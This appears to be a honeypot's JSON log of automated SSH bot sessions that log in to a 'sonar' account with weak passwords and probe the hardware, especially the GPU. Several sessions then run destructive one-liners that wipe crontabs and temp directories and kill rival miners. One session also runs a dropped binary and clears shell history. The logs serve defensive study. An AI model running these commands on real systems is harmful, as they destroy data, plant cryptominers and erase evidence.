{"id":"c47755b5-c618-487b-ae9c-3a391d3343ed","name":"blunt-blazing-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":35038,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:00:02.835670+00:00","ended_at":"2026-08-27T02:00:06.589491+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"683eba4b-5d14-49ed-99a4-0b28bff42b94","name":"northern-reedy-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":34286,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":339,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T01:59:58.195354+00:00","ended_at":"2026-08-27T02:00:06.590722+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T01:58:58.829072+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T01:59:02.653906+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T01:59:02.938571+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T01:59:07.867109+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T01:59:08.366785+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T01:59:12.216007+00:00","kind":"output","latency_ms":null,"data":"6 days, 22:49"},{"seq":7,"at":"2026-08-27T01:59:12.483247+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T01:59:16.335424+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T01:59:16.816404+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T01:59:21.758725+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T01:59:22.344335+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T01:59:27.719584+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T01:59:28.050943+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T01:59:30.727302+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T01:59:31.118478+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T01:59:35.448551+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T01:59:35.835166+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T01:59:38.610264+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T01:59:38.941839+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T01:59:43.992905+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T01:59:44.238764+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T01:59:48.813875+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T01:59:49.152581+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T01:59:52.006452+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T01:59:52.236800+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T01:59:58.196010+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"dd86e1a8-ad42-4340-a3a2-7af4a317258f","name":"pewter-inland-jerboa","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":39068,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:56:09.757952+00:00","ended_at":"2026-08-26T12:56:16.816246+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"3eaae451-9733-46d7-9813-f691bdd3a350","name":"jolly-freckled-osprey","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":36764,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":439,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:56:04.271479+00:00","ended_at":"2026-08-26T12:56:16.817695+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T12:55:06.628105+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:55:10.947068+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:55:11.433816+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:55:14.139061+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:55:14.948023+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:55:19.140581+00:00","kind":"output","latency_ms":null,"data":"6 days,  9:45"},{"seq":7,"at":"2026-08-26T12:55:19.475359+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:55:23.903123+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:55:24.153245+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:55:29.534182+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:55:29.978242+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:55:32.656909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:55:33.023768+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:55:38.143511+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:55:39.065768+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:55:42.503182+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:55:42.959224+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:55:45.947312+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:55:46.221116+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:55:50.727586+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:55:51.126140+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:55:54.843600+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:55:55.284099+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:55:58.562248+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T12:55:58.958108+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T12:56:04.272095+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"3f486182-76fc-4a01-a171-9e2ac9fc552d","name":"gritty-chilly-owl","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":50288,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":182,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:39:35.905400+00:00","ended_at":"2026-08-26T06:39:41.737458+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T06:38:43.714220+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:38:49.368675+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:38:49.530727+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:38:52.812120+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:38:52.988178+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:38:55.580507+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:29"},{"seq":7,"at":"2026-08-26T06:38:55.787504+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:38:58.469045+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:38:58.855441+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:39:02.829707+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:39:03.004146+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:39:06.204302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:39:06.378587+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:39:10.117150+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:39:10.310306+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:39:13.216276+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:39:13.379536+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:39:15.918811+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:39:16.101235+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:39:21.539521+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:39:21.771355+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:39:27.320580+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:39:27.482991+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:39:31.419894+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T06:39:31.603218+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T06:39:35.906097+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"95f1a033-11e6-4361-aa90-849f7bf83817","name":"vaulted-noble-heron","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":38568,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T23:11:20.282707+00:00","ended_at":"2026-08-25T23:11:21.445527+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T23:11:05.811423+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T23:11:06.785203+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T23:11:07.300553+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T23:11:08.246544+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T23:11:08.697717+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T23:11:09.967111+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T23:11:10.418297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T23:11:11.896206+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T23:11:12.346419+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T23:11:13.432350+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T23:11:13.883106+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T23:11:15.426672+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T23:11:15.875203+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T23:11:17.919796+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T23:11:18.368600+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T23:11:19.830460+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T23:11:20.284611+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T23:11:21.220915+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}
{"id":"6c717c7a-80b7-401b-a093-e64e7bf451d7","name":"alpine-nimble-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":58064,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":452,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:30:32.131093+00:00","ended_at":"2026-08-25T22:30:34.332046+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T22:30:15.954564+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:30:17.140282+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:30:17.600154+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:30:19.123928+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:30:19.574855+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:30:21.455711+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:30:21.905773+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:30:23.607168+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:30:24.057078+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:30:25.817237+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:30:26.268762+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:30:27.607155+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:30:28.064757+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:30:29.910502+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:30:30.360023+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:30:31.666882+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:30:32.131871+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:30:34.105597+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"75e2ea7f-660f-42fe-b414-98e7e6b715b3","name":"lawful-coastal-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":38596,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:23:10.108678+00:00","ended_at":"2026-08-25T22:23:12.297878+00:00","ended_reason":"exec complete","commands":10,"transcript_bytes":1353,"events":[{"seq":1,"at":"2026-08-25T22:22:22.383775+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:22:24.129700+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:22:24.580545+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:22:25.500035+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:22:25.949853+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:22:27.337700+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:22:27.786350+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:22:29.020742+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:22:29.473112+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:22:30.310343+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:22:30.769716+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:22:32.227908+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:22:32.685401+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:22:34.255392+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:22:34.705440+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:22:35.583938+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:22:36.034269+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:22:38.052224+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T22:23:10.109291+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 tMSVzyaT ; ./tMSVzyaT </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history"}],"credentials":[{"username":"sonar","password":"sonar123","method":"password","accepted":true,"tier":"other"}]}
{"id":"02b4abe2-a757-43f4-9731-a443afc6fd3d","name":"dutiful-mottled-ibis","protocol":"ssh","channel_kind":null,"src_ip":"104.43.56.65","src_port":52432,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T22:22:39.178276+00:00","ended_at":"2026-08-25T22:23:12.296490+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"sonar123","method":"password","accepted":true,"tier":"other"}]}
{"id":"285f67a5-ab4e-4259-8495-b1274b699b2a","name":"sterling-lonesome-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":43924,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:05:10.508927+00:00","ended_at":"2026-08-25T01:05:12.403452+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"8b86fbfc-1c40-4cac-ae59-9b0a38f51fdd","name":"lucid-stoic-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":40422,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":227,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:05:05.812816+00:00","ended_at":"2026-08-25T01:05:12.404661+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-25T01:04:07.415556+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:04:12.064754+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:04:12.306736+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:04:15.313313+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:04:15.502553+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:04:20.541726+00:00","kind":"output","latency_ms":null,"data":"4 days, 21:54"},{"seq":7,"at":"2026-08-25T01:04:20.715873+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:04:25.701192+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:04:25.904080+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:04:29.654615+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: 